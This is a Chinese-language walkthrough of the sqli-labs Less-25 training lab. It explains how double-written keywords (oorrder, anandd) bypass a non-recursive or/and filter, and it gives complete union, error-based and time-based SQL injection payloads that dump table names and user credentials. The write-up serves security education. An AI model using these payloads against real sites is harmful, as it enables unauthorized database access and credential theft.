sqli-labs 这套靶场,很多人从 Less-1 一路点过来,前面的关卡基本是“见招拆招”:单引号闭合、联合查询、报错函数,一套流程下来就觉得 SQL 注入不过如此。等刷到 Less-25,你会发现页面又干干净净地返回了报错,但直接用order by却怎么都不对——这就是靶场第一次正式把“过滤”和“绕过”摆到台面上。Less-25 的 SQLi 本身很常规,真正拦人的是关键字or和and。
这一关适合刚刷完前 24 关、想从“能出数据”进阶到“理解被过滤后为什么还能出数据”的人。它会逼着你把 SQL 语句拆开看,弄清楚一件事:服务端在我输入之后到底改了什么?搞懂这一关,后面遇到真实站点的简单关键字过滤,你至少不会第一反应就去点自动化工具,而是能用最小 payload 做判断。下面我从过滤逻辑说起,把整个通关过程完整走一遍,顺便记录一些容易踩的坑。
1. Less-25 到底过滤了什么
1.1 为什么order by突然不灵了
我第一次刷 Less-25 的时候,按前面的老套路直接提交:
?id=1' order by 3 --+结果页面报错,而且报错内容跟我想的不一样。它并不是“列数不对”那种正常的 MySQL 错误,而是最原始的语法错误,像是 SQL 语句本身就被打散了一样。这里先别急着怀疑闭合方式,问题就出在关键字order上。
order这个单词里面有or两个连续字母。Less-25 的后端会把输入内容里的or替换成空字符串,于是我的order就变成了der。最终数据库收到的 SQL 大概长这样:
SELECT * FROM users WHERE id='1' der by 3 -- ' LIMIT 0,1一条 SQL 里出现der by,MySQL 自然直接报错。这不是因为你闭合方式写错了,也不是列数不对,而是关键词在到达数据库之前,就被“阉割”了一部分。
如果你开着 MySQL 的 general log,或者使用能够显示后端真实 SQL 的调试方式,就能看到这个过程。没有调试条件的,也可以根据报错页面的原文反推。Less 系列很多关卡都会在错误信息里带出部分真实 SQL,这是个很值得利用的信号。
1.2 从现象推测后端过滤代码
Less-25 的过滤逻辑,从行为上推测大概是这样一段 PHP 代码:
$id = $_GET['id']; $id = str_ireplace('or', '', $id); $id = str_ireplace('and', '', $id); $sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";有些版本可能写成preg_replace('/or/i', '', $id)之类的正则形式,但核心特征是一样的:
- 不区分大小写,
OR、Or、oR都会被删; - 替换所有匹配到的位置,不是只删第一个;
- 替换不是递归的,不会删完再检查一遍。
第三点就是整个关卡的钥匙。oorrder经过一次替换后,中间那一组or被删掉,剩下的字符正好拼回order。由于它不会对拼出来的结果再执行一次过滤,order就安全地进入了 SQL 语句。
为了把这种映射关系讲清楚,我整理了一个对比表:
| 我输入的原始内容 | 经过过滤后 | 实际到达 SQL 的内容 | 结果 |
|---|---|---|---|
order by | der by | der by | 语法错误 |
OR | 空字符串 | 空 | 语法错误或逻辑改变 |
and | 空字符串 | 空 | 闭合引号被破坏 |
oorrder by | order by | order by | 正常执行 |
anandd | and | and | 正常执行 |
后两行就是典型的双写绕过。理解这张表,就相当于理解了 Less-25 的所有核心内容。后面那些复杂 payload,无非是把order、and、or出现的地方用双写形式重新套进去。
2. 绕过思路盘点:为什么“双写”是首选
2.1 双写绕过的原理与适用边界
双写绕过的原理建立在上一节的非递归过滤之上。过滤器只会“删除一次”,不会对删除后产生的新字符串继续做同样的检查。所以我们人为地把关键字的部分字母重复一遍,让过滤器删掉一份之后,剩下的那份刚好能拼出原来的关键字。
在 Less-25 里,最实用的转换关系有三个:
order by写成oorrder byand写成ananddinformation_schema写成infoorrmation_schema
需要注意,这里不要画蛇添足。比如select里面本来就不含or或and,你完全没必要写成selselectect。很多人一看“原来要双写”,就把所有 SQL 关键字都双写一遍,结果反而让语句变得没法读,还容易引入新的语法问题。Less-25 只过滤or和and,你就只处理包含这两个字母串的关键字。
另外,双写也不是万能的,它依赖“单次替换”这个前提。如果以后遇到一个递归过滤的 WAF,也就是删完or之后会重新从结果里再找一次or,那oorrder经过第一轮变成order,经过第二轮又会被删成der,双写就直接失效。所以,每次遇到新的过滤场景,先花几十秒做一个小实验判断过滤是不是递归的,会比盲目堆积 payload 高效得多。
2.2 大小写、注释、运算符替换为什么不优先用
有人会想:过滤了or,那我用OR大小写绕过行不行?在 Less-25 里面不行,因为str_ireplace或者带i修饰的正则都是大小写不敏感的。OR、Or、oR全部照删不误。你试一个就知道,报错内容跟全小写时没有区别。
还有人会想:用内联注释把它拆开,比如o/**/r,是不是能绕过?这个思路本身没错,有些正则写得不好的 WAF 确实会漏掉。但 Less-25 是在 SQL 执行前做纯字符串替换,它不关心注释语法,而且 MySQL 对关键字中间插注释也不是所有版本都能接受。这个方案在这个关卡里远不如双写稳定,不建议作为首选。
用运算符||代替OR、用&&代替AND,理论上也是可行的。但 MySQL 对||的默认行为在不同版本里不完全一致,有些老版本会把||当成字符串连接符。加上 URL 里面&会被解析成参数分隔符,如果你直接提交1' && 1=1,后端收到的可能只是1'和临时变量1=1,而不是你期望的逻辑运算符。虽然可以通过%26%26编码绕过,但实际调试起来比双写多一层麻烦。因此,在这个关卡里,我会老老实实选择双写。
说到底,绕过方案要选“简单的、可预期”的,而不是“高级的、花里胡哨”的。能把 payload 稳定跑通,比什么都重要。
3. 完整通关实操:从探测到拖库
3.1 环境准备和第一次探测
本地跑 sqli-labs 的方法很成熟,无非是 PHP + MySQL 环境,然后把sql-connections/db-creds.inc里的数据库账号密码改成自己本机的账号密码。注意 Less-25 页面默认会回显 MySQL 错误,这对我们观察过滤结果非常有利。如果你第一次访问能看到页面上方有账号信息,下方是连接状态,说明环境已经就绪。
接下来的所有请求,我建议至少把浏览器开发者工具或 Burp 的 Repeater 打开。直接用地址栏也能过关,但遇到&、+、#这类特殊字符时,地址栏容易帮你做了一些“隐式编码”,导致你无法准确判断自己发出去的内容。用 Burp Repeater 至少能看到实际的请求头,这对理解过滤逻辑很重要。
第一步只发三个请求:
?id=1 ?id=1' ?id=1' --+第一个请求正常,说明 id 参数会带入查询。第二个请求报错,错误信息里面出现类似''1'' LIMIT 0,1的内容,说明参数被一对单引号包裹,而且 LIMIT 在最后。第三个请求恢复正常,说明用--+把闭合引号后面的内容注释掉是生效的。
到这里,注入点确认完毕:单引号字符型注入,查询语句是:
SELECT * FROM users WHERE id='$id' LIMIT 0,13.2 判断列数,找到回显位
确定了注入点之后,先猜列数。Less-25 的order by必须双写,所以提交:
?id=1' oorrder by 3 --+页面正常。继续试:
?id=1' oorrder by 4 --+页面报错,说明这张表只有 3 列。这里值得停下来看一眼 SQL 的真实形态:
SELECT * FROM users WHERE id='1' order by 3 -- ' LIMIT 0,1注意,--+里的+在 URL 中代表空格。整个注释符到行尾,把原本的闭合引号和LIMIT 0,1一起注释掉了。如果你在 Burp 里发现+被当成普通字符而不是空格,可以直接改用%20或者%23。
列数确定后,找回显位:
?id=-1' union select 1,2,3 --+这里把 id 改成 -1,是因为前面没有任何 id 为 -1 的记录,可以让联合查询前面的结果集为空,从而让union select后面的内容显示在页面上。请求发出去后,页面应该能看到数字 2 和 3 对应位置出现回显。
3.3 爆库、爆表、爆列、拿数据
拿到回显位之后,常规联合查询就能一路拿数据。第一步看数据库名:
?id=-1' union select 1,database(),3 --+页面回显security,这就是当前使用的数据库名字。
接下来是重头戏:爆表名。表名存放在information_schema.tables里,但information_schema这个单词里面含有or,所以必须写成:
?id=-1' union select 1,group_concat(table_name),3 from infoorrmation_schema.tables where table_schema=database() --+这个 payload 发出去,页面会返回类似下面这样的结果:
emails,referers,uagents,users如果结果被截断只显示了一部分,也不用慌,后面讲排查的时候会说怎么处理。
看到users表之后,接下来看它的列名。列名信息在information_schema.columns里:
?id=-1' union select 1,group_concat(column_name),3 from infoorrmation_schema.columns where table_name='users' --+返回结果应该是:
id,username,password最后一步,把账号密码直接拿出来:
?id=-1' union select 1,group_concat(username,0x3a,password),3 from users --+0x3a是冒号的十六进制写法,作用是让返回结果变成类似admin:password的可读格式。到这里,这一关的核心数据就算拿完了。
如果你更习惯一行一行看数据,也可以不加group_concat,而是直接limit 0,1、limit 1,1这样逐条枚举。比如:
?id=-1' union select 1,username,password from users limit 0,1 --+这种方式在数据量大的时候更可靠,不容易被输出长度限制截断。
3.4 报错注入和时间盲注作为复习路线
Less-25 虽然用联合查询就能过,但既然这一关专门训练“过滤环境下怎么重构 SQL”,我建议顺便练一下报错注入和时间盲注,因为它们在真实环境下比联合查询更通用。
报错注入的 payload 可以这样写:
?id=1' anandd updatexml(1,concat(0x7e,database(),0x7e),1) --+这里的anandd双写后变成and,updatexml本身不含or和and,所以不用改。0x7e是波浪号~,它的作用是让报错信息变成类似:
XPATH syntax error: '~security~'如果你直接把database()丢进updatexml而不加concat,有些版本下不会触发报错,这就是我刚开始试的时候最郁闷的地方。加一个concat(0x7e,payload,0x7e)是最稳妥的触发姿势。
时间盲注则非常直白:
?id=1' anandd sleep(3) --+如果页面等待了 3 秒才返回,说明and sleep(3)被真正执行了。你可以把sleep(3)换成if(条件,sleep(3),0)来猜数据。注意这里的if函数没有or和and,不需要双写,但条件表达式里如果用到or或者and,就得继续双写。比如:
?id=1' anandd if(1=1,sleep(3),0) --+这个 payload 双写的是and,if(1=1,sleep(3),0)里面没有需要额外处理的字符串,所以整体可以正常执行。
4. 常见问题与踩坑实录
4.1 问题速查表
我在本地刷这一关的时候,来回折腾了不少次,也见过很多人在网上问相似的问题。这里整理一个速查表,基本覆盖了最常见的翻车现场:
| 现象 | 可能原因 | 解法 |
|---|---|---|
order by一直报语法错误 | or被过滤,order变成了der | 使用oorrder by |
所有带and的条件全报错 | and被过滤,条件表达式只剩一半 | 使用anandd |
information_schema无法识别 | 关键字里的or被删 | 使用infoorrmation_schema |
&&看起来没生效 | &被 URL 解析成参数分隔符 | 改为%26%26,或用双写 |
updatexml不报错 | 第一个参数或路径参数构造不触发错误 | 使用concat(0x7e,payload,0x7e) |
group_concat结果看不全 | 输出长度被页面截断 | 用limit 0,1单行枚举 |
--+在某些工具里失效 | 加号被当成普通字符或没转成空格 | 改用--%20或%23 |
这张表里的每一行,都是我或者身边人实际踩过的坑。如果你刷的时候遇到报错,先别急着换工具,对照这个表定位一两次,基本能判断出是过滤问题还是注释问题。
4.2 利用报错原文反推真实 SQL
Less 系列一个特别好的地方在于,它会很慷慨地返回 MySQL 的语法错误原文。这本来是靶场设计,但在实际测试中也很有用。
举个例子。你提交:
?id=1' anandd 1=1 --+在 Less-25 里,它会正常返回还是报错?正确结果是正常返回,因为anandd被过滤成and,最终 SQL 是:
SELECT * FROM users WHERE id='1' and 1=1 -- ' LIMIT 0,1如果你误写成:
?id=1' and 1=1 --+由于and被删掉,请求发出去后很可能直接变成语法错误。你会在报错信息里看到类似'1' 1=1'这种不伦不类的内容。看到这种内容,第一反应应该是:过滤删掉了and,导致两个表达式之间缺少连接符。
这个方法不仅能帮你定位过滤规则,还能帮你判断自己写出来的 payload 是否真的被还原成了预期 SQL。在真实环境中,不一定每次都有这么清晰的报错回显,但只要允许你故意触发错误,这个思路永远值得先试一次。
4.3 几个容易忽略的小细节
第一个细节是注释符的选择。--+是 SQLi 里最常见的写法,但它的原理容易被忽略:+在 URL 解码后是空格,所以 MySQL 才能正确识别--注释。如果你用的是 Burp,并且没有将加号编码,某些版本会原样传递加号,这时候注释就不会生效。更稳妥的替代方案是%23,也就是#的 URL 编码。很多老手直接用%23就是因为这个坑。
第二个细节是双写对象。不是说所有关键字都要双写,只需要双写包含or或and的部分。比如table_schema=database()里就没有这两个字符串,不用动。如果你把整条 SQL 所有单词都改一遍,反而容易把本来正确的函数名改坏,比如把concat改成cconconatcat,那个就彻底跑不通了。
第三个细节是group_concat的结果截断问题。在本地缺省配置下,group_concat的长度限制通常在 1024 字节左右,如果你的数据量比较大,页面可能只会显示一部分。这时候不要慌,换成limit 0,1一行行看,或者先取一个最小表验证流程,都比强行拼接更实际。
第四个细节是环境里的 PHP 配置。现在的 PHP 版本早就没有magic_quotes_gpc这个老功能了,所以单引号可以直接传入。如果你在一个很老的集成环境里刷,遇到单引号被转义的情况,记得先看一下 PHP 配置文件,不要一上来就觉得是过滤规则的问题。
最后说点体会
Less-25 的过滤规则其实很粗糙,放到真实环境里顶多算个入门级 WAF,但它的教学价值并不在“绕过去”本身。它逼着你去关注一个问题:我提交的 payload,在到达数据库之前会被后端改写成什么样子?我以前刷前 24 关的时候,经常是 payload 能跑通就完事,根本不管数据库收到了什么。到了这一关,被order by连续报错打了几次脸之后,我才真的开始打开调试工具,一个个请求去看过滤后的 SQL。
我后来处理各种过滤场景,第一步永远是先故意触发一次报错,从报错原文里读真实 SQL,而不是靠猜。这个习惯就是在 Less-25 养成的。双写只是解决方案之一,分析过滤模型才是真正通用的能力。手动把这关完整走一遍之后,再回头看各种通关手册,你会发现它们只给了 payload,没给你为什么——而那才是这关真正值钱的地方。